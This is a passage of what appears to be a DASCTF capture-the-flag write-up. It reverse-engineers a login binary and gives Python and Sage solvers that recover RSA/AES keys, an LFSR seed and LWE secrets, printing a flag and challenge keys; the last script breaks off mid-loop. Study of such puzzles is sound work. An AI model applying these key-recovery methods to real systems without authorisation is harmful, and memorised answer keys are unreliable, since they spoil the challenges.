rc4_encrypt_and_send (0x2729): Encrypt with RC4 and send
rc4_decrypt (0x4D4A): Decrypt with RC4
rsa_encrypt_with_keys (0x5042): RSA encryption
aes_cbc_encrypt_password (0x49DD): AES-CBC password encryption
read_config_file (0x5302): Read values from config
string_compare (0x329B): Compare strings

================================================================================
SERVER ANALYSIS
================================================================================

[SERVER BINARY INFO]
File: server (ELF64 Linux executable)
MD5: 7d31caa646134442a71ef88f4a2422da
Listens on: 0.0.0.0:8080

[SERVER KEY FUNCTIONS]
main (0x339C): Create socket, accept connections, spawn threads
handle_client_login (0x29C0): Process login protocol
rsa_decrypt_with_keys (0x73B2): RSA decryption
rsa_private_decrypt (0x71E4): RSA_private_decrypt wrapper
rc4_encrypt_and_send (0x2949): RC4 encrypt and send
rc4_decrypt (0x6F5C): RC4 decrypt

[SERVER VERIFICATION DATA]
byte_C0A0 (256 bytes): Expected RSA encrypted AES IV
byte_C1A0 (256 bytes): Expected RSA encrypted AES Key
byte_C2A0 (48 bytes): Expected AES encrypted password

[RSA PRIVATE KEY d]
Address: 0x8420 (off_C2F0)
Value: 28c7df24a5798679db2a44979275f5f3179db180d91335702942fb1b70e985de
825da90f2eb65d20ddf8be1d9d4e15bc1d84e95795ff8c0c28ce3c33fde054f6
e82a4f4cc22597b350c9c62ccc0188bd4152a701a3601558f22aa9fae8b9fdac
6c2bc09b1637f71e0511805e04b203c4fdb2b36ad232fe819b06ed4e57c74f39
fd9b72623c16ff2100f148f622bf12876260c4859672360dc0da3da6b45c5c8c
6215ccda072765840c213fba11a91d6bf598a8a8065797566c8950a34ea0a072
a9ed0c38bdc58662f186ec578ca55d5098443fd566cc722ace9c4e89afc4e302
c8a4870e11a003b935f4a102695bfd64bb0fa74dcc372682e2b24ff45a1a69
Note: This d doesn't satisfy d*e == 1 mod phi(n), need to recalculate!

[SERVER PROTOCOL FLOW]
1. Accept client connection
2. Receive RC4 encrypted "req login..." -> RC4 decrypt -> verify
3. Send "inp u account" (RC4 encrypted)
4. Receive RSA encrypted AES Key -> compare with byte_C1A0
-> RSA decrypt with private key -> store AES Key
5. Send "inp u key" (RC4 encrypted)
6. Receive RSA encrypted AES IV -> compare with byte_C0A0
-> RSA decrypt with private key -> store AES IV
7. Send "inp u passwd" (RC4 encrypted)
8. Receive AES encrypted password (48 bytes)
-> Compare with byte_C2A0 (no decryption!)
9. If match: send "login success", else: send "login error"

================================================================================
SOLUTION
================================================================================

[DECRYPTION STEPS]
1. RSA decrypt byte_C1A0 -> AES Key: "aassddffgghhjjll" (16 bytes)
2. RSA decrypt byte_C0A0 -> AES IV: "qqwweerrttyyuuii" (16 bytes)
3. AES-CBC decrypt byte_C2A0 with SWAPPED key/iv
(Client code uses IV as Key and Key as IV internally)

[IMPORTANT NOTE]
Client swaps AES Key and IV when calling encryption function!
Must use: AES.new(IV_value, MODE_CBC, Key_value) to decrypt

[ENCRYPTED PASSWORD (byte_C2A0)]
add1d11960c22d9166dac3c26725c81909176b238e3003aa57aacba0a226b7c3
1c220b8d209cb495b55db4e27d4e438e

================================================================================
FLAG
================================================================================

DASCTF{dqmaxfwkm921kr21m;df1m1dqmlk1d12d1}

================================================================================
CORRECT CONFIG FILE
================================================================================

To successfully login, config file should contain:
key:qqwweerrttyyuuii (offset 4-19, used as AES IV)
iv:aassddffgghhjjll (offset 23-38, used as AES Key)
passwd:DASCTF{dqmaxfwkm921kr21m;df1m1dqmlk1d12d1} (offset 46-87)

================================================================================
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CTF Client-Server Login Challenge Solver
Decrypts the password from server data using RSA and AES-CBC

Analysis:
1. Server has RSA encrypted AES Key (byte_C1A0) and AES IV (byte_C0A0)
2. Server has AES-CBC encrypted password (byte_C2A0, 48 bytes)
3. RSA private key d is available in server binary
4. Need to: RSA decrypt -> get AES key/iv -> AES decrypt -> get flag
"""

from Crypto.PublicKey import RSA
from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.Util.Padding import unpad
import binascii

# RSA parameters from binary (all in hex)
n_hex = "9a49428cadd84b7a81cb80f916e645a6a9dd23c2fe679f93af6a77eff0f0bb1309b77fb7861275f07ab41e98ae5c2ecf933f27d47b9ce0a55a3e06569cacbb4c9183f8ee9a47f2cfbb3a5965c9326f45d2d608cfeabea1a1879eae95b70224d2e7736b9bc4109756f55a3f70f11a9b9c6564fb6456d329c336fbb59859db5fde1f2338294e863c4f05b4a89e6c3b761d52a2081a0af0a320fde831daa741fad77aa7ef2dd30b3e33d1a6e7b44ed44ef40de4557a4fd65b63db63d105386bbd81071739ec3d0fe44b6a0952a2b065bededfecea6e22229fea32adfc9a6e2ccfdf5da437a56ad41d7ef08c2c4635d3a0218aab2a5ed6e9dd42d684bc918efe24d3"
e_hex = "10001"
p_hex = "b782eca6a75067d398dd8ef00e9d024cc554f292d7820a72848d3c619dafaf61ab8f7d719d4cd8ac44351281afd64f8cf23bc8aa5ec48bbd9eb301af50b96f528a108e6643223130a84addd5b9e1ad108c44d706adc5fb097a17ab990f395f3781296e356ac60d64b9a2a641c3e2f593bbe98d38df528a1c67e583ef623b667f"
q_hex = "d73b03a9b0c4b7e9236d56938d6264e6c8ecaab709effcf02f4e5ec26310273b81089e1cb3d4c050e852721d3daf1d5b7a2be2df02bafcffb77e17d1a8e6428bf87579c859cbe778d3b9ea93aff0d934a0e7b83a1d7a39d0a1779ea18db5fffd99b118c4c2361a22308f54f7ae568e7bf2de6d1b6eb0be1d77eca8edd94f9fad"

# RSA private key d from server binary (at offset 0x8420)
d_hex = "28c7df24a5798679db2a44979275f5f3179db180d91335702942fb1b70e985de825da90f2eb65d20ddf8be1d9d4e15bc1d84e95795ff8c0c28ce3c33fde054f6e82a4f4cc22597b350c9c62ccc0188bd4152a701a3601558f22aa9fae8b9fdac6c2bc09b1637f71e0511805e04b203c4fdb2b36ad232fe819b06ed4e57c74f39fd9b72623c16ff2100f148f622bf12876260c4859672360dc0da3da6b45c5c8c6215ccda072765840c213fba11a91d6bf598a8a8065797566c8950a34ea0a072a9ed0c38bdc58662f186ec578ca55d5098443fd566cc722ace9c4e89afc4e302c8a4870e11a003b935f4a102695bfd64bb0fa74dcc372682e2b24ff45a1a69"

# Encrypted data from server binary (read from IDA)
# byte_C0A0: RSA encrypted AES IV (256 bytes)
encrypted_iv_bytes = [
0x37, 0x3a, 0x2a, 0x27, 0xb3, 0x8f, 0xd7, 0x78, 0xc7, 0x16, 0x72, 0x8e, 0xbb, 0x95, 0xbe, 0x89,
0xa0, 0xa0, 0x57, 0x10, 0x91, 0x19, 0xa0, 0x8d, 0x5c, 0xe4, 0x92, 0x61, 0xeb, 0xb0, 0xe0, 0x77,
0x6d, 0x25, 0x4a, 0x40, 0xc4, 0xd2, 0x1b, 0xd2, 0x46, 0x3e, 0x61, 0x60, 0x87, 0x71, 0xde, 0x40,
0x1e, 0xed, 0x13, 0xac, 0x66, 0x60, 0xd9, 0x96, 0xbe, 0xa8, 0xc8, 0xb8, 0x2b, 0xdd, 0x0e, 0xaf,
0x56, 0xc3, 0x84, 0x66, 0x77, 0x6e, 0xba, 0x31, 0xf7, 0xb2, 0x21, 0x92, 0x30, 0xb6, 0x54, 0xa7,
0x7e, 0xc0, 0xaf, 0x39, 0x5a, 0x01, 0xc3, 0x1c, 0x13, 0x9a, 0x4f, 0x6b, 0x7b, 0x8b, 0xa8, 0x45,
0x19, 0x20, 0x96, 0x16, 0x5d, 0xd7, 0xac, 0xd0, 0x33, 0x1e, 0x79, 0xdb, 0xe4, 0x34, 0xed, 0x8c,
0x9a, 0x66, 0x58, 0x1d, 0x26, 0xf6, 0x9e, 0x5f, 0xaa, 0x29, 0x5f, 0x66, 0x01, 0x00, 0x76, 0xb9,
0x1a, 0x6d, 0xd6, 0x1d, 0xb7, 0xab, 0xd3, 0x25, 0xf8, 0xbd, 0x25, 0xd9, 0x28, 0xde, 0xbc, 0xc0,
0x2e, 0x55, 0x55, 0xff, 0x81, 0xf7, 0xae, 0x3e, 0x54, 0x8e, 0x3e, 0x46, 0x59, 0xa3, 0x7f, 0x5d,
0x3d, 0x3c, 0x39, 0xfb, 0xca, 0xd1, 0xb5, 0x83, 0xe4, 0x2f, 0xb0, 0x4f, 0xa3, 0x28, 0xeb, 0xb7,
0x7e, 0x78, 0x41, 0xf4, 0x5b, 0x71, 0x1e, 0x77, 0xee, 0x23, 0xe1, 0x19, 0x89, 0xdb, 0x2c, 0x0e,
0x06, 0xb8, 0x19, 0x1a, 0x45, 0x6d, 0x56, 0xbd, 0x1a, 0x7d, 0x42, 0xc4, 0x7f, 0xdf, 0xdf, 0x11,
0x79, 0x22, 0x8b, 0x57, 0xc6, 0xef, 0xca, 0x9b, 0x9b, 0x6a, 0x7d, 0x22, 0x68, 0x2e, 0x5b, 0x67,
0xc7, 0xc4, 0x6a, 0x87, 0x7f, 0xb6, 0x77, 0xf5, 0xf3, 0x17, 0xb4, 0x82, 0x3f, 0xcd, 0xc8, 0x12,
0xf0, 0x36, 0x2b, 0xe2, 0x7c, 0x0f, 0x54, 0x53, 0x03, 0x71, 0x48, 0xed, 0x30, 0x12, 0x7b, 0x26
]

# byte_C1A0: RSA encrypted AES Key (256 bytes)
encrypted_key_bytes = [
0x16, 0x38, 0xe0, 0xeb, 0x93, 0x61, 0x40, 0xb5, 0x52, 0x70, 0x33, 0x29, 0x2c, 0xbe, 0xfc, 0xd7,
0x3b, 0x55, 0xcf, 0xc7, 0xfb, 0x79, 0xdf, 0x51, 0xae, 0x37, 0x68, 0xa0, 0xdd, 0x9c, 0x84, 0xae,
0x45, 0x80, 0xe4, 0x7a, 0x51, 0x33, 0xb4, 0x25, 0xf4, 0xc9, 0x3e, 0xac, 0x97, 0xe4, 0xb1, 0xaa,
0x0b, 0x4c, 0xd3, 0x05, 0x89, 0xd0, 0x04, 0xf6, 0xd0, 0xd1, 0x9f, 0xcb, 0xc7, 0x09, 0xe8, 0x6c,
0xc2, 0x99, 0x6b, 0x43, 0x3d, 0x29, 0xf6, 0x50, 0xb6, 0x99, 0x87, 0xa4, 0x66, 0xf0, 0x5b, 0xef,
0x7f, 0x69, 0x94, 0x58, 0x60, 0xdc, 0xc4, 0x47, 0x42, 0xa5, 0x11, 0xf3, 0x62, 0x13, 0x85, 0xc8,
0x9f, 0xbd, 0x4d, 0x73, 0x15, 0x36, 0x15, 0x78, 0x96, 0x34, 0xb2, 0x5c, 0xfc, 0x31, 0x51, 0xa4,
0x11, 0x5b, 0xc3, 0x0c, 0x96, 0x97, 0x9e, 0x5f, 0x96, 0x52, 0x90, 0xf3, 0x6a, 0x86, 0x3e, 0x33,
0x78, 0xb5, 0xcf, 0xc9, 0xba, 0x31, 0x43, 0x8c, 0x4b, 0xae, 0x22, 0xb2, 0x3e, 0xf8, 0x15, 0xed,
0xf7, 0xcf, 0x17, 0x71, 0x80, 0x3b, 0xd3, 0x92, 0xa5, 0x07, 0x2b, 0x46, 0x89, 0x00, 0xb7, 0x5f,
0x5a, 0x43, 0x77, 0xd1, 0xda, 0xf3, 0xd6, 0xf7, 0xb7, 0xb6, 0x85, 0x0d, 0x1a, 0x4a, 0x41, 0x34,
0xf2, 0xf6, 0x58, 0x40, 0xef, 0xaa, 0x9b, 0x83, 0xd3, 0x10, 0x83, 0x05, 0x1d, 0xf0, 0xfc, 0x80,
0xa7, 0x86, 0x52, 0x91, 0x59, 0x48, 0x4f, 0x62, 0xbb, 0xb9, 0x52, 0x4f, 0x68, 0x28, 0x5f, 0x48,
0xc7, 0xab, 0x8e, 0x03, 0xbd, 0xfe, 0xca, 0x1a, 0x60, 0x25, 0xaa, 0xed, 0x9f, 0x97, 0x28, 0xb3,
0x90, 0x68, 0x9c, 0x0c, 0x96, 0x39, 0x20, 0xc7, 0x28, 0xeb, 0x56, 0x95, 0xfc, 0xb9, 0x41, 0x3f,
0x9f, 0x4e, 0x06, 0xd3, 0xb9, 0x3d, 0xb4, 0x0e, 0x26, 0xd6, 0x27, 0x5c, 0x84, 0xe6, 0x12, 0x6a
]

# byte_C2A0: AES-CBC encrypted password (48 bytes)
encrypted_password_bytes = [
0xad, 0xd1, 0xd1, 0x19, 0x60, 0xc2, 0x2d, 0x91, 0x66, 0xda, 0xc3, 0xc2, 0x67, 0x25, 0xc8, 0x19,
0x09, 0x17, 0x6b, 0x23, 0x8e, 0x30, 0x03, 0xaa, 0x57, 0xaa, 0xcb, 0xa0, 0xa2, 0x26, 0xb7, 0xc3,
0x1c, 0x22, 0x0b, 0x8d, 0x20, 0x9c, 0xb4, 0x95, 0xb5, 0x5d, 0xb4, 0xe2, 0x7d, 0x4e, 0x43, 0x8e
]

def main():
print("=" * 60)
print("CTF Solver: Decrypting Login Password")
print("=" * 60)

# Convert hex to integers
n = int(n_hex, 16)
e = int(e_hex, 16)
p = int(p_hex, 16)
q = int(q_hex, 16)
d = int(d_hex, 16)

print("\n[*] RSA Key Parameters:")
print(f" n = {n_hex[:32]}...")
print(f" e = {e_hex}")
print(f" d = {d_hex[:32]}...")

# Verify: n == p * q
if n == p * q:
print("\n[+] Verified: n == p * q")
else:
print("\n[-] Error: n != p * q")
return

# Verify: d * e == 1 (mod phi(n))
phi_n = (p - 1) * (q - 1)
if (d * e) % phi_n == 1:
print("[+] Verified: d * e == 1 (mod phi(n))")
else:
print("[-] Warning: d * e != 1 (mod phi(n))")
d_calc = pow(e, -1, phi_n)
print(f"[*] Server d: {hex(d)[:40]}...")
print(f"[*] Calculated d: {hex(d_calc)[:40]}...")
# Use calculated d since server d might be wrong format
d = d_calc

# Create RSA key
try:
key = RSA.construct((n, e, d, p, q))
print("[+] RSA key constructed successfully")
except Exception as ex:
print(f"[-] Failed to construct RSA key: {ex}")
return

# Convert encrypted data to bytes
encrypted_iv = bytes(encrypted_iv_bytes)
encrypted_key = bytes(encrypted_key_bytes)
encrypted_password = bytes(encrypted_password_bytes)

print(f"\n[*] Encrypted data sizes:")
print(f" RSA encrypted IV: {len(encrypted_iv)} bytes")
print(f" RSA encrypted Key: {len(encrypted_key)} bytes")
print(f" AES encrypted pwd: {len(encrypted_password)} bytes")

# RSA decrypt with OAEP padding
# Note: Server uses RSA_PKCS1_OAEP_PADDING (value 4)
cipher_rsa = PKCS1_OAEP.new(key)

try:
aes_key = cipher_rsa.decrypt(encrypted_key)
print(f"\n[+] RSA decrypted AES Key: {aes_key.hex()}")
print(f" AES Key (ASCII): {aes_key}")
except Exception as ex:
print(f"[-] RSA decrypt key failed: {ex}")
# Try raw RSA decryption
print("[*] Trying raw RSA decryption...")
c = int.from_bytes(encrypted_key, 'big')
m = pow(c, d, n)
aes_key = m.to_bytes((m.bit_length() + 7) // 8, 'big')
print(f" Raw decrypted: {aes_key.hex()}")
# Extract last 16 bytes (PKCS#1 padding stripped)
aes_key = aes_key[-16:] if len(aes_key) > 16 else aes_key
print(f" AES Key: {aes_key.hex()}")

try:
aes_iv = cipher_rsa.decrypt(encrypted_iv)
print(f"\n[+] RSA decrypted AES IV: {aes_iv.hex()}")
print(f" AES IV (ASCII): {aes_iv}")
except Exception as ex:
print(f"[-] RSA decrypt IV failed: {ex}")
# Try raw RSA decryption
print("[*] Trying raw RSA decryption...")
c = int.from_bytes(encrypted_iv, 'big')
m = pow(c, d, n)
aes_iv = m.to_bytes((m.bit_length() + 7) // 8, 'big')
print(f" Raw decrypted: {aes_iv.hex()}")
aes_iv = aes_iv[-16:] if len(aes_iv) > 16 else aes_iv
print(f" AES IV: {aes_iv.hex()}")

# AES-CBC decrypt the password
print(f"\n[*] Decrypting password with AES-CBC...")
print(f" Key: {aes_key.hex() if isinstance(aes_key, bytes) else aes_key}")
print(f" IV: {aes_iv.hex() if isinstance(aes_iv, bytes) else aes_iv}")
print(f" Ciphertext: {encrypted_password.hex()}")

try:
# Standard AES-CBC decrypt
cipher_aes = AES.new(aes_key, AES.MODE_CBC, aes_iv)
decrypted = cipher_aes.decrypt(encrypted_password)
print(f"\n[+] Decrypted (raw hex): {decrypted.hex()}")
print(f"[+] Decrypted (raw bytes): {decrypted}")

# Try to unpad PKCS7
try:
decrypted_unpadded = unpad(decrypted, 16)
print(f"[+] Decrypted (unpadded): {decrypted_unpadded}")
except Exception as pe:
print(f"[-] Unpad failed: {pe}")
decrypted_unpadded = decrypted

# Note: In client code, the key/iv parameters are swapped!
# Client uses "key" from config as IV and "account" as Key
# But the actual AES usage is swapped internally
print(f"\n[*] Note: Client swaps Key/IV internally")
cipher_correct = AES.new(aes_iv, AES.MODE_CBC, aes_key)
decrypted_correct = cipher_correct.decrypt(encrypted_password)

try:
flag = unpad(decrypted_correct, 16).decode('utf-8')
except:
flag = decrypted_correct.decode('utf-8', errors='replace')

print(f"\n{'=' * 60}")
print(f"[+] FLAG: {flag}")
print(f"{'=' * 60}")

except Exception as ex:
print(f"[-] AES decrypt failed: {ex}")
import traceback
traceback.print_exc()

if __name__ == "__main__":
main()

Crypto

Lost LFSR key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
"""
利用LFSR的线性性和flag字符特征求解
关键观察: 可打印ASCII字符(0x20-0x7e)的最高位(bit 7)总是0
这给我们提供了64个线性方程
"""
import numpy as np
from Crypto.Util.number import long_to_bytes

mask = 9319439021858903464
c = 8882504877732087312989345828667663333297225833982945014279010438327750150593504327259176959316943362605442206624947923157363187067410478202161873663103506

def build_matrix(mask, output_len):
"""构建输出位对seed位的依赖矩阵 (在GF(2)上)"""
M = np.zeros((output_len, 64), dtype=np.uint8)

state = [np.zeros(64, dtype=np.uint8) for _ in range(64)]
for i in range(64):
state[i][i] = 1

for out_idx in range(output_len):
out_expr = np.zeros(64, dtype=np.uint8)
for i in range(64):
if (mask >> i) & 1:
out_expr = (out_expr + state[i]) % 2
M[out_idx] = out_expr
new_state = [out_expr.copy()] + state[:-1]
state = new_state

return M

def gauss_gf2(A, b):
"""GF(2)上的高斯消元"""
A = A.copy().astype(np.int64)
b = b.copy().astype(np.int64)
n, m = A.shape

Ab = np.hstack([A, b.reshape(-1, 1)])

pivot_row = 0
pivot_cols = []

for col in range(m):
found = False
for row in range(pivot_row, n):
if Ab[row, col] == 1:
Ab[[pivot_row, row]] = Ab[[row, pivot_row]]
found = True
break

if not found:
continue

pivot_cols.append(col)

for row in range(n):
if row != pivot_row and Ab[row, col] == 1:
Ab[row] = (Ab[row] + Ab[pivot_row]) % 2

pivot_row += 1

# 提取解
x = np.zeros(m, dtype=np.int64)
for i, col in enumerate(pivot_cols):
x[col] = Ab[i, -1]

return x, pivot_cols, Ab

print("[*] 构建LFSR矩阵...")
M = build_matrix(mask, 512)

# c的比特
c_bits = np.array([(c >> (511 - i)) & 1 for i in range(512)], dtype=np.uint8)

# 利用可打印字符特征: 每个字节的bit7 = 0
# 即 flag_bits[byte*8] = 0 for all bytes
# flag_bit = c_bit XOR key_bit
# 所以 key_bits[byte*8] = c_bits[byte*8]

print("[*] 构建线性方程组...")

# 收集每个字节第一位(bit 7)的方程
# key_bit[i] = M[i] @ seed
# 约束: key_bit[byte*8] = c_bit[byte*8] (因为flag的bit7=0)

equations = []
targets = []

for byte_idx in range(64):
bit_idx = byte_idx * 8 # 每个字节的最高位
equations.append(M[bit_idx])
targets.append(c_bits[bit_idx])

A = np.array(equations, dtype=np.uint8)
b = np.array(targets, dtype=np.uint8)

print(f"[*] 方程组大小: {A.shape}")

x, pivot_cols, Ab = gauss_gf2(A, b)

print(f"[*] 主元列数: {len(pivot_cols)}")

if len(pivot_cols) == 64:
# 唯一解
seed_val = sum(int(x[i]) << i for i in range(64))
print(f"[+] 找到唯一seed: {seed_val}")
else:
# 有自由变量,需要枚举
print(f"[*] 有 {64 - len(pivot_cols)} 个自由变量,开始枚举...")

free_cols = [i for i in range(64) if i not in pivot_cols]

# 枚举自由变量的所有可能值
from itertools import product

found = False
for free_vals in product([0, 1], repeat=len(free_cols)):
# 设置自由变量
x_try = x.copy()
for i, col in enumerate(free_cols):
x_try[col] = free_vals[i]

# 回代计算主元变量
for i in range(len(pivot_cols) - 1, -1, -1):
col = pivot_cols[i]
# A[i] @ x = b[i]
# x[col] = b[i] XOR sum(A[i][j]*x[j] for j != col)
val = Ab[i, -1]
for j in range(64):
if j != col and Ab[i, j] == 1:
val ^= x_try[j]
x_try[col] = val

seed_val = sum(int(x_try[i]) << i for i in range(64))

# 验证这个seed是否产生可打印flag
def get_key(seed_v, mask_v, n):
key = 0
for _ in range(n):
temp = seed_v & mask_v
out = bin(temp).count('1') % 2
key = (key << 1) | out
seed_v = ((seed_v << 1) | out) & ((1 << 64) - 1)
return key

key = get_key(seed_val, mask, 512)
flag_long = c ^ key
flag_bytes = long_to_bytes(flag_long)

# 检查是否全是可打印字符
if all(0x20 <= b <= 0x7e for b in flag_bytes):
print(f"[+] 找到有效seed: {seed_val}")
print(f"[+] Flag内容: {flag_bytes}")
try:
print(f"[+] 完整Flag: DASCTF{{{flag_bytes.decode()}}}")
except:
pass
found = True
break

if not found:
print("[-] 未找到有效解")

# 如果是唯一解,直接验证
if len(pivot_cols) == 64:
def get_key(seed_v, mask_v, n):
key = 0
for _ in range(n):
temp = seed_v & mask_v
out = bin(temp).count('1') % 2
key = (key << 1) | out
seed_v = ((seed_v << 1) | out) & ((1 << 64) - 1)
return key

key = get_key(seed_val, mask, 512)
flag_long = c ^ key
flag_bytes = long_to_bytes(flag_long)

print(f"[+] Flag内容: {flag_bytes}")
try:
print(f"[+] 完整Flag: DASCTF{{{flag_bytes.decode()}}}")
except:
print(f"[!] 解码失败: {flag_bytes.hex()}")

two_examples

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
from Crypto.Util.number import *
import json
from hashlib import sha512
import sys

# 读取数据
with open('M.matrix', 'r') as f:
data = json.load(f)
A_list = eval(data["A"])
B_list = eval(data["B"])
p = int(data["p"])

with open('v.vector', 'r') as f:
data = json.load(f)
b1_list = eval(data["b1"])
b2_list = eval(data["b2"])

with open('RSA.enc', 'r') as f:
data = json.load(f)
N = int(data["N"])
c = int(data["c"])

n = 20
m = 30

A = matrix(GF(p), A_list)
B = matrix(GF(p), B_list)
b1 = vector(GF(p), b1_list)
b2 = vector(GF(p), b2_list)

print(f"p = {p}")
print(f"p bits: {p.bit_length()}")
sys.stdout.flush()

AB_plus = A + B
AB_minus = A - B
b_plus = b1 + b2
b_minus = b1 - b2

def solve_lwe_cvp_correct(M, b, error_bound=2):
"""
正确的 CVP 方法解决 LWE: b = s*M + e (mod p)

构造格 L = {x*M + p*k : x ∈ Z^n, k ∈ Z^m}
然后 b - e ∈ L,使用 CVP 找最近格点
"""
n_rows, m_cols = M.dimensions() # n x m = 20 x 30
p_val = int(M.base_ring().characteristic())

print(f"CVP method: LWE with {n_rows}x{m_cols} matrix")
sys.stdout.flush()

M_int = matrix(ZZ, [[int(M[i,j]) for j in range(m_cols)] for i in range(n_rows)])
b_int = vector(ZZ, [int(x) for x in b])

# 格 L = {y ∈ Z^m : y ≡ x*M (mod p) for some x ∈ Z^n}
# 等价于 L = M 的行向量张成的空间 + p*Z^m
#
# 格基矩阵(行向量):
# [ M ] n 行
# [p*I_m ] m 行
#
# 这是 (n+m) x m = 50 x 30 的矩阵,生成 m=30 维的格

L_basis_rows = M_int.stack(p_val * identity_matrix(ZZ, m_cols))
# L_basis_rows 是 50 x 30 矩阵

print(f"Lattice basis: {L_basis_rows.dimensions()}")
sys.stdout.flush()

# 使用 HNF 得到真正的格基(30 x 30)
print("Computing HNF...")
sys.stdout.flush()

L_hnf = L_basis_rows.hermite_form()
# 取非零行作为格基
L_basis = []
for row in L_hnf:
if row != 0:
L_basis.append(row)

L_basis = matrix(ZZ, L_basis)
print(f"HNF basis: {L_basis.dimensions()}")
sys.stdout.flush()

# LLL 规约
print("Running LLL...")
sys.stdout.flush()
L_lll = L_basis.LLL()

# CVP: 找 b_int 到格的最近点
# 使用 Babai's nearest plane algorithm

print("Running Babai's CVP...")
sys.stdout.flush()

# Gram-Schmidt 正交化
L_gs, mu = L_lll.gram_schmidt()

# Babai's nearest plane
target = vector(QQ, b_int)
closest = vector(ZZ, [0] * m_cols)

for i in range(L_lll.nrows() - 1, -1, -1):
# 计算 target 在第 i 个 Gram-Schmidt 向量上的投影系数
gs_vec = L_gs[i]
coeff = target.dot_product(gs_vec) / gs_vec.dot_product(gs_vec)
coeff_rounded = round(coeff)

# 减去该分量
target = target - coeff_rounded * vector(QQ, L_lll[i])
closest = closest + coeff_rounded * L_lll[i]

# 计算误差
error = b_int - closest

print(f"Closest vector found")
print(f"Error (first 10): {list(error[:10])}")
sys.stdout.flush()

# 检查误差是否在范围内
e_reduced = []
valid = True
for e_i in error:
e_i = int(e_i)
if e_i > p_val // 2:
e_i -= p_val
if abs(e_i) > error_bound:
valid = False
e_reduced.append(e_i)

if not valid:
print(f"Error out of range! Max abs = {max(abs(x) for x in e_reduced)}")

# 尝试 BKZ
print("Trying BKZ...")
sys.stdout.flush()

for block_size in [20, 25, 30]:
print(f" BKZ with block_size={block_size}...")
sys.stdout.flush()

L_bkz = L_basis.BKZ(block_size=block_size)
L_gs, _ = L_bkz.gram_schmidt()

target = vector(QQ, b_int)
closest = vector(ZZ, [0] * m_cols)

for i in range(L_bkz.nrows() - 1, -1, -1):
gs_vec = L_gs[i]
coeff = target.dot_product(gs_vec) / gs_vec.dot_product(gs_vec)
coeff_rounded = round(coeff)
target = target - coeff_rounded * vector(QQ, L_bkz[i])
closest = closest + coeff_rounded * L_bkz[i]

error = b_int - closest

e_reduced = []
valid = True
for e_i in error:
e_i = int(e_i)
if e_i > p_val // 2:
e_i -= p_val
if abs(e_i) > error_bound:
valid = False
e_reduced.append(e_i)

if valid:
print(f"Success with BKZ block_size={block_size}!")
break

if not valid:
return None, None

print("Error in valid range!")

# 从 closest = s*M (mod p) 恢复 s
# closest ≡ s*M (mod p)

closest_mod = vector(GF(p_val), closest)

# 找可逆子矩阵
from itertools import combinations
for cols in combinations(range(m_cols), n_rows):
M_sub = M.matrix_from_columns(list(cols))
if M_sub.determinant() != 0:
closest_sub = vector(GF(p_val), [closest_mod[i] for i in cols])
s_candidate = M_sub.solve_left(closest_sub)

# 验证
e_vec = vector(GF(p_val), e_reduced)
computed = s_candidate * M + e_vec
if computed == b:
print("Solution verified!")
return s_candidate, vector(ZZ, e_reduced)

print("Could not recover s")
return None, None

# 解决两个 LWE 问题
print("\n" + "="*50)
print("解决 u*(A+B) + e_plus = b_plus")
print("="*50)
sys.stdout.flush()

u, e_plus = solve_lwe_cvp_correct(AB_plus, b_plus, error_bound=2)

if u is None:
print("Failed to find u")
else:
print(f"u found!")
print(f"e_plus = {list(e_plus)}")

print("\n" + "="*50)
print("解决 v*(A-B) + e_minus = b_minus")
print("="*50)
sys.stdout.flush()

v, e_minus = solve_lwe_cvp_correct(AB_minus, b_minus, error_bound=2)

if v is None:
print("Failed to find v")
else:
print(f"v found!")
print(f"e_minus = {list(e_minus)}")

if u is not None and v is not None:
print("\n" + "="*50)
print("恢复 s1, s2 并解密")
print("="*50)

two_inv = GF(p)(2)^(-1)
s1 = (u + v) * two_inv
s2 = (u - v) * two_inv

print(f"\ns1 = {list(s1)}")
print(f"s2 = {list(s2)}")

# 验证
e1_computed = b1 - s1*A - s2*B
e2_computed = b2 - s2*A - s1*B

e1_int = [int(x) if int(x) < p//2 else int(x)-p for x in e1_computed]
e2_int = [int(x) if int(x) < p//2 else int(x)-p for x in e2_computed]

print(f"\ne1: {e1_int}")
print(f"e2: {e2_int}")

if all(x in [-1, 0, 1] for x in e1_int) and all(x in [-1, 0, 1] for x in e2_int):
print("\n验证成功!")

def vector_to_sha512_hex(vec):
vector_str = ''.join(str(int(i)) for i in vec)
res = sha512(vector_str.encode()).hexdigest()
res = int(res, 16)
return res

d = vector_to_sha512_hex(s1) + vector_to_sha512_hex(s2)
print(f"\nd = {d}")

print("\nRSA 解密...")
for delta in range(10000):
d_try = d + delta
m_try = pow(c, d_try, N)
flag_bytes = long_to_bytes(m_try)

if len(flag_bytes) > 5:
